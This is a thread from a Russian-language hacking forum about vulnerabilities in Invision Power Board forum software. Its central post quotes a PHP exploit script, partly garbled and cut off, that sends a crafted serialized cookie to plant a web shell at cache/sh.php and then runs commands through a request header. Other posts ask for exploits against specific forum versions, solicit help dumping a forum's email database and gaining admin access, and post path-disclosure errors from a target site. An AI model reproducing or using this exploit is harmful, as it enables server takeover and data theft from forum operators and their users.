ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей IPB] (https://forum.antichat.xyz/showthread.php?t=89112)

Sensoft 07.09.2016 23:18

На IP.Board 2.3.6 есть что нить ?

Deda_net 04.10.2016 04:21

Цитата:

Сообщение от -=lebed=-

[B]Invision Power Board \n";
print
"\nExample....: php$argv[0]localhost /";
print
"\nExample....: php$argv[0]localhost /ipb/\n";
die();
}

list(
$host,$path) = array($argv[1],$argv[2]);

$packet="GET{$path}index.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Connection: close\r\n\r\n";

$_prefix=preg_match('/Cookie: (.+)session/',http_send($host,$packet),$m) ?$m[1] :'';

class
db_driver_mysql
{
public
$obj= array('use_debug_log'=>1,'debug_log'=>'cache/sh.php');
}
# Super bypass by @i0n1c
$payload=urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2 :{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"c ache/sh.php";}}}');
$phpcode='';

$packet="GET{$path}index.php?{$phpcode}HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Cookie:{$_prefix}member_id={$payload}\r\n";
$packet.="Connection: close\r\n\r\n";

http_send($host,$packet);

$packet="GET{$path}cache/sh.php HTTP/1.0\r\n";
$packet.="Host:{$host}\r\n";
$packet.="Cmd: %s\r\n";
$packet.="Connection: close\r\n\r\n";

if (
preg_match('/
[/COLOR]
[/PHP]
(c) exploit-db.com

Подскажите как юзать его?

Diego228 23.12.2017 01:23

Имеется форум с доступ к АЦ, только вот версия IPS 4.2, есть какие то идеи?

Notrak 15.04.2018 14:29

IPB форум (v 3.3.4) скачать БД емыйлов и доступ к АЦ, кто поможет (пишите в личку)

Simcher 13.07.2018 18:26

ipbv=32005 есть что?

SPUTNIK 15.05.2019 10:47

4.3.X

/forum/system/3rd_party/php-punycode/Exception/DomainOutOfBoundsException.php

выдает

следующее

Fatal error: Class 'TrueBV\Exception\OutOfBoundsException' not found in /home/xyz/web/domen.ru/public_html/forum/system/3rd_party/php-punycode/Exception/DomainOutOfBoundsException.php on line 10

SPUTNIK 15.05.2019 17:27

4.3.X

domen.ru/forum/admin/convertutf8/modules/browser/archive.php

Fatal error: Class 'IPSUtf8\Dispatcher\Controller' not found in /home/xyz/web/domen.ru/public_html/forum/admin/convertutf8/modules/browser/archive.php on line 17


Время: 14:18